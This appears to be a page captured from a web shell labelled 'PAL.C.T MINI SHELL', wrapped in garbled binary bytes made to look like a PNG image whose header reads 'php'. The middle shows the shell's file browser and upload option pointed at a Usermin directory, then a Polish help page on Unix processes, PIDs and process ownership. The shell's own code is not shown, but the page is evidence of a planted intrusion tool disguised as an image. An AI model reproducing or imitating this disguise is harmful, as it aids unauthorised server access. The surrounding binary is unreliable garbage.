‰php  IHDRwQ)Bća pHYs  šœsRGBŽÎégAMAą üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ştw.“oŕWpĺ§;—ł°QHZnw˘`gaiJ’9Ţˆ‰ŃŇ̟灙űžýÍaî=ˇnlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸ˇy H†Ż@E7j­Í 1j+OFĽ–€‹Rg}ÜŤ‘;@’E™ÖašąůáÓ~ ˙j`Ůuű'ož> ŮjÝ-$˜_§q?žq¸SXzG'ĺóay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/proc/help/
upload
files >> //usr/libexec/usermin/proc/help/intro.pl.html

<header>Procesy uniksowe</header>

Proces jest to po prostu działający w&nbsp;Twoim systemie program. Twoja
przeglądarka, zarządca okienek, okienko terminala czy X serwer - wszystkie
są procesami, z&nbsp;którymi się bezpośrednio komunikujesz. Wiele innych
procesów, jak serwery WWW czy inne zadania systemowe, działa w&nbsp;tle.
Za każdym razem, gdy wydasz polecenie takie, jak <tt>ls</tt> czy
<tt>pwd</tt> tworzony jest nowy proces, jednakże takie procesy są zazwyczaj
krótkożyjące. <p>

Każdy proces posiada swój unikalny numer ID, zwany numerem ID procesu lub
PID-em. Każdy działający w&nbsp;danej chwili proces ma inny numer ID, lecz
PID-u procesów, które zakończyły działanie mogą być później użyte ponownie.
<p>

Oprócz procesu inicjującego (zazwyczaj zwanego <tt>init</tt>), każdy ma
swojego rodzica, który go utworzył. Na przykład, jeżeli uruchomisz
<tt>vi</tt> z&nbsp;linii poleceń, rodzicem <tt>vi</tt> będzie twoja powłoka.
Proces może mieć dowolna liczbę potomków, ale tylko jednego rodzica. <p>

Każdy proces działa z&nbsp;prawami pewnego użytkownika i&nbsp;pewnej grupy,
które mają zastosowanie przy dostępie przez niego do plików. Użytkownicy
i&nbsp;procesy mogą zabijać jedynie inne procesy, których są właścicielami,
za wyjątkiem <tt>root</tt>a, który może zabić wszystko. <p>

<hr>

ß yôĘá˝~ŒorŔ5ÖJ™={ţÁEÇęežu磝QkŽ•áŻ˜G{÷?ůťă+—]üôçƒÉÍ×ןô?wűM3X^śÚ㭌>{´7Ůžě´Kă>čo˛ÎnÝ\˙ލĘjżyˇđR Łőăg/î=Ţ˙fúOçÖrˇo×NVĘvżú~˙Y+üżNGęu÷řˇĂŽ›ţëšHWŠűyëwĆ[eQśĘ¨žSÚb­Ö>öÍËÇţł>ä}Gçmx[o[<ŢÚ{đýŸĎŽ_ĹďqF– ÚŰvMIENDŽB`‚